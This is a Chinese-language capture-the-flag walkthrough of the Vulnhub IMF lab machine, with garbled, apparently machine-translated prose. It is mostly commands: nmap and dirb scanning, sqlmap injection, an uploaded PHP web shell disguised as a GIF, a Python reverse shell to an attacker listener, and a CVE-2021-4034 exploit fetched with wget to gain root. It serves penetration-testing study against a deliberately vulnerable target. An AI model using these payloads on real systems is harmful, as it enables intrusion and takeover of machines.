Vulnhub-IMF靶机

本篇文章旨在为网络安全渗出测试靶机讲授。通过阅读本文，读者将可以大概对渗出Vulnhub系列IMF靶机有肯定的相识
一、信息网络阶段

靶机下载地点：https://www.vulnhub.com/entry/imf-1,162/

由于靶机为本地摆设捏造机网段，检察dhcp地点池设置。得到信息IP为：192.168.220.0/24
1、扫描网段，发现主机

1. nmap -sP 192.168.220.0/24
2. # 快速验证网段存活主机

复制代码

2、扫描主机详细信息

1. nmap -sT -sV -sC  192.168.220.133
2. #-sT 会尝试与目标主机的每个端口建立完整的 TCP 连接
3. #-sV 尝试确定每个打开端口上运行的服务的版本
4. #-sC 使用默认的脚本扫描（Script Scanning）可以帮助发现更多的信息，如漏洞、配置错误等

复制代码

3、扫描80端口web目次

1. dirb http://192.168.220.133

复制代码

4、欣赏网站

1. http://192.168.220.133/
2. username:rmichaels    akeith   estone
4. ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ  #base64解码
5. flag2{aW1mYWRtaW5pc3RyYXRvcg==}    #解码结果
7. aW1mYWRtaW5pc3RyYXRvcg==  #再把flag2进行base64解码
8. imfadministrator   #解码结果
10. http://192.168.220.133/imfadministrator/
11.    

复制代码

5、登录配景

1. http://192.168.220.133/imfadministrator/
3. 

复制代码

二、渗出阶段

1、burpsuite爆破配景

1. http://192.168.220.133/imfadministrator/

复制代码

2、php未验证输入绕过

1. flag3{Y29udGludWVUT2Ntcw==}  #base64解码
2. continueTOcms   #解码结果

复制代码

3、登录管理配景

1. username:rmichaels
2. passwd:continueTOcms

复制代码

4、sqlmap爆破

1. sqlmap -u 'http://192.168.220.133/imfadministrator/
2. cms.php?pagename=disavowlist' -p 'pagename' --dbms 'mysql' --level 3  --cookie 'PHPSESSID=j540ks96b3fb6ksde74tcecec2' --dump

复制代码

1. dXBsb2Fkcjk0Mi5waHA=

复制代码

5、访问uploadr942.php

1. http://192.168.220.133/imfadministrator/
2. uploadr942.php

复制代码

6、上传一个图片马

1. echo 'GIF89a <?php $cmd=$_GET['cmd']; echo `$cmd`; ?>' > cmd.gif
3. 192.168.220.133/imfadministrator/uploads/a5d38eb4e70b .gif

复制代码

1. http://192.168.220.133/imfadministrator/
2. uploads/9065f683031f.gif?cmd=id

复制代码

7、检察文件

1. http://192.168.220.133/imfadministrator/
2. uploads/9065f683031f.gif?cmd=lshttp://192.168.220.133/imfadministrator/
3. uploads/9065f683031f.gif?cmd=cat%20flag5_abc123def.txtYWdlbnRzZXJ2aWNlcw==   #base64解码agentservices                        #解码结果

复制代码

8、使用python反弹shell

1. #攻击机
2. nc -lvnp 6666
4. #靶机
5. export RHOST="192.168.220.128";export RPORT=6666;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

复制代码

三、提权阶段

1、信息网络

1. uname -a
2. lsb_release -a

复制代码

2、下载exp

1. git clone https://github.com/arthepsy/CVE-2021-4034.git

复制代码

3、python开启http微服务

1. python -m http.server 8088

复制代码

4、靶机下载poc文件

1. wget 192.168.220.128:8088/cve-2021-4034-poc.c
2. gcc -o exp cve-2021-4034-poc.c
3. ./exp
4. 

复制代码

四、总结

起首通过信息网络（如端口扫描、目次摆列的源码审计）发现匿伏信息泄漏，接着使用SQL注入获取关键上传php信息，然后通过文件上传、下令注如（python3反弹shell），毗连靶机，末了通过CVE-2021-4034毛病获取root权限完成渗出